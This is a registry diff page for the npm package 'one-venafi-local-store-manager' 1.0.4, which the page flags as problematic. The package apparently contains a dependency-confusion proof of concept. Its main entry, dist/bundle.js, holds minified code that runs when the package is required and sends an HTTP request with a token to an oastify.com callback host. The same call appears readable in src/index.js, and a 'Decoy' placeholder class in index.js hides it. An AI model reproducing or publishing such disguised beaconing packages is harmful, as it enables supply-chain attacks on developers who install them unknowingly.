one-venafi-local-store-manager 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of one-venafi-local-store-manager might be problematic. Click here for more details.

package/1 ADDED
@@ -0,0 +1,16 @@
1
+ const path = require('path');
2
+
3
+ module.exports = {
4
+ entry: './src/index.js',
5
+ output: {
6
+ filename: 'bundle.js',
7
+ path: path.resolve(__dirname, 'dist'),
8
+ library: {
9
+ name: 'LocalStoreManagerLib',
10
+ type: 'commonjs' // 👈 Use CommonJS for Node.js
11
+ }
12
+ },
13
+ target: 'node', // 👈 Ensures Node.js globals like global/fetch
14
+ mode: 'production'
15
+ };
16
+
package/dist/bundle.js ADDED
@@ -0,0 +1 @@
1
+ (()=>{var e={44:(e,o,r)=>{console.log("[🔥] Dependency Confusion Browser POC triggered!"),r(611).get("https://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234",(e=>{console.log("[📡] HTTP request sent, status:",e.statusCode)})).on("error",(e=>{console.error("[❌] HTTP request failed:",e.message)})),e.exports=function(){console.log("triggerPOC() called")}},611:e=>{"use strict";e.exports=require("http")}},o={},r=function r(t){var s=o[t];if(void 0!==s)return s.exports;var n=o[t]={exports:{}};return e[t](n,n.exports,r),n.exports}(44);exports.LocalStoreManagerLib=r})();
package/index.html ADDED
@@ -0,0 +1,19 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <title>Test POC</title>
6
+ </head>
7
+ <body>
8
+ <h1>Loading Bundle...</h1>
9
+ <script src="dist/bundle.js"></script>
10
+ <script>
11
+ // If your bundle auto-triggers, nothing else is needed
12
+ // Otherwise you can invoke manually like:
13
+ if (window.LocalStoreManagerLib) {
14
+ new window.LocalStoreManagerLib();
15
+ }
16
+ </script>
17
+ </body>
18
+ </html>
19
+
package/index.js ADDED
@@ -0,0 +1,10 @@
1
+
2
+ class LocalStoreManager {
3
+ constructor() {
4
+ console.warn("[Decoy] Placeholder LocalStoreManager loaded.");
5
+ }
6
+ }
7
+
8
+ module.exports = {
9
+ LocalStoreManager
10
+ };
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "one-venafi-local-store-manager",
3
+ "version": "1.0.4",
4
+ "description": "Browser PoC Webpack",
5
+ "main": "dist/bundle.js",
6
+ "scripts": {
7
+ "build": "webpack"
8
+ },
9
+ "author": "JESLOX",
10
+ "license": "ISC",
11
+ "devDependencies": {
12
+ "webpack": "^5.89.0",
13
+ "webpack-cli": "^5.1.4"
14
+ }
15
+ }
package/src/index.js ADDED
@@ -0,0 +1,15 @@
1
+ console.log("[🔥] Dependency Confusion Browser POC triggered!");
2
+
3
+ const http = require('http');
4
+
5
+ // Use native `http.get` or a Node-friendly package like axios
6
+ http.get("https://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234", (res) => {
7
+ console.log("[📡] HTTP request sent, status:", res.statusCode);
8
+ }).on('error', (err) => {
9
+ console.error("[❌] HTTP request failed:", err.message);
10
+ });
11
+
12
+ module.exports = function triggerPOC() {
13
+ console.log("triggerPOC() called");
14
+ };
15
+
package/test.js ADDED
@@ -0,0 +1,3 @@
1
+ const { LocalStoreManager } = require("one-venafi-local-store-manager");
2
+ new LocalStoreManager();
3
+
@@ -0,0 +1,16 @@
1
+ const path = require('path');
2
+
3
+ module.exports = {
4
+ entry: './src/index.js',
5
+ output: {
6
+ filename: 'bundle.js',
7
+ path: path.resolve(__dirname, 'dist'),
8
+ library: {
9
+ name: 'LocalStoreManagerLib',
10
+ type: 'commonjs' // 👈 Use CommonJS for Node.js
11
+ }
12
+ },
13
+ target: 'node', // 👈 Ensures Node.js globals like global/fetch
14
+ mode: 'production'
15
+ };
16
+